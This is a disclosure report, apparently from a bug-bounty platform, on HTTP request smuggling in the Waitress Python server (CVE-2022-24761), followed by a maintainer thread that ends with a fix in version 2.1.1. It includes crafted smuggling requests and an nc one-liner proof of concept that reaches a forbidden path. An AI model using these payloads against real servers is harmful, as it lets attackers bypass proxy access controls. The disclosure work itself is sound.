HTTP Request Smuggling in pylons/waitress

Valid

Reported on

Mar 10th 2022


Summary

Due to several violations of the HTTP standard as defined in RFC7230, Waitress is vulnerable to HTTP request smuggling when used with an upstream proxy that exhibits nonstandard behaviour.

Each issue is explained in the Occurrences section below.

Occurrences

Occurrence 2 - Illegal Characters in Chunked Extensions

When parsing chunked data, chunked extensions are ignored. Ignoring chunked extensions is not a bug in itself. The bug lies in the fact that the parser does not check whether the chunked extension contents conform to the HTTP standard. According to the RFC, only 0x09, 0x21-0x73 and 0x80-0xff are allowed in this area.

Consider the following request.

GET / HTTP/1.1\r\n
Transfer-Encoding: chunked\r\n
\r\n
2;\nxx\r\n
4c\r\n
0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n

Notice that an illegal LF (\n) character was added to the chunked extension. Suppose that a frontend proxy uses LF to delimit lines, instead of a CRLF. The frontend would see only one request:

GET / HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
 
2
xx
4c
0

GET /admin HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
 
0

However, Waitress sees two requests:

GET / HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
 
2
4c
0

GET /admin HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
 
0

This attack was possible in a previous vulnerable version of ATS.

The following command (with Waitress running on port 80) shows that Waitress allows the above PoC and processes both requests.

(printf 'GET / HTTP/1.1\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Host: localhost\r\n\r\n'\
"2;\nxx\r\n"\
'47\r\n'\
'0\r\n'\
'\r\n'\
'GET /forbidden HTTP/1.1\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Host: localhost\r\n\r\n'\
'0\r\n'\
'\r\n'; sleep 1) | nc localhost 80

Similar Issues:

Occurrence 1 - 'Signed' Content Lengths

The content length is not validated for leading + and - signs.

According to RFC7230, the Content-Length field value must be an integer greater than or equal to zero. Additionally, any sign prefixes are illegal, since only DIGITs (0-9) are allowed.

Content-Length = 1*DIGIT

...

Any Content-Length field value greater than or equal to zero is valid.

Suppose a frontend proxy silently ignores but forwards an invalid Content-Length header such as Content-Length: +5 or Content-Length: -5 to Waitress. The frontend and backend would then disagree on where the request ends. Such behaviour was found on an older version of ATS (9.1.0).

For instance, in the following request, the frontend sees two requests to /, while Waitress sees a request to / and another one to /forbidden.

GET / HTTP/1.1
Content-Length: +23

GET / HTTP/1.1
Dummy: GET /forbidden HTTP/1.1


Similar Issues:

Occurrence 3 - 'Signed' and 0x-Prefixed Chunk Lengths

Waitress accepts chunk sizes with the 0x prefix. This is because Python's int() constructor allows 0x-prefixed strings when base-16 is specified. Again, the + and - prefixes are also allowed.

For example, the following is a valid request.

GET / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked

+0x3
abc
0


According to the RFC, chunk sizes should not contain the 0x and sign prefixes.

chunk-size     = 1*HEXDIG

This issue may be relevant if an upstream proxy also exhibits vulnerable behaviour when parsing chunk lengths, due to deviations from the standard.

We are processing your report and will contact the pylons/waitress team within 24 hours. a year ago
We created a GitHub Issue asking the maintainers to create a SECURITY.md a year ago
Zhang Zeyu
a year ago

Researcher


Thanks, @admin. Seems like they can be contacted via pylons-project-security@googlegroups.com.

We have contacted a member of the pylons/waitress team and are waiting to hear back a year ago
Jamie Slome
a year ago

Admin


Sorted! ♥️

Zhang Zeyu modified the report
a year ago
pylons/waitress maintainer
a year ago

Maintainer


This is Bert from the pylons team. We are reviewing and will create the appropriate fixes as necessary.

This may take a day or two. Thanks for your patience.

pylons/waitress maintainer validated this vulnerability a year ago
Zhang Zeyu has been awarded the disclosure bounty
The fix bounty is now up for grabs
pylons/waitress maintainer
a year ago

Maintainer


@admin I was not aware that you all would assign a CVE, so there may be an overlap here with the one that Github assigns. Let me know how you'd like to handle that.

Zhang Zeyu
a year ago

Researcher


Thanks a lot!

Jamie Slome
a year ago

Admin


@maintainer - a CVE will not be assigned here. You are welcome to proceed with confirming the fix.

If you provide me with the CVE ID, I can assign it to this report 👍

pylons/waitress maintainer
a year ago

Maintainer


@admin GitHub has issued CVE-2022-24761 for the report. I'm hoping to land the fix within the next day.

Jamie Slome
a year ago

Admin


CVE added to the report 👍 Once you have committed and pushed your fix, feel free to confirm fix!

We have sent a fix follow up to the pylons/waitress team. We will try again in 7 days. a year ago
pylons/waitress maintainer marked this as fixed in 2.1.1 with commit 9e0b8c a year ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
receiver.py#L142-L143 has been validated
receiver.py#L146-L149 has been validated
parser.py#L319-L325 has been validated
to join this conversation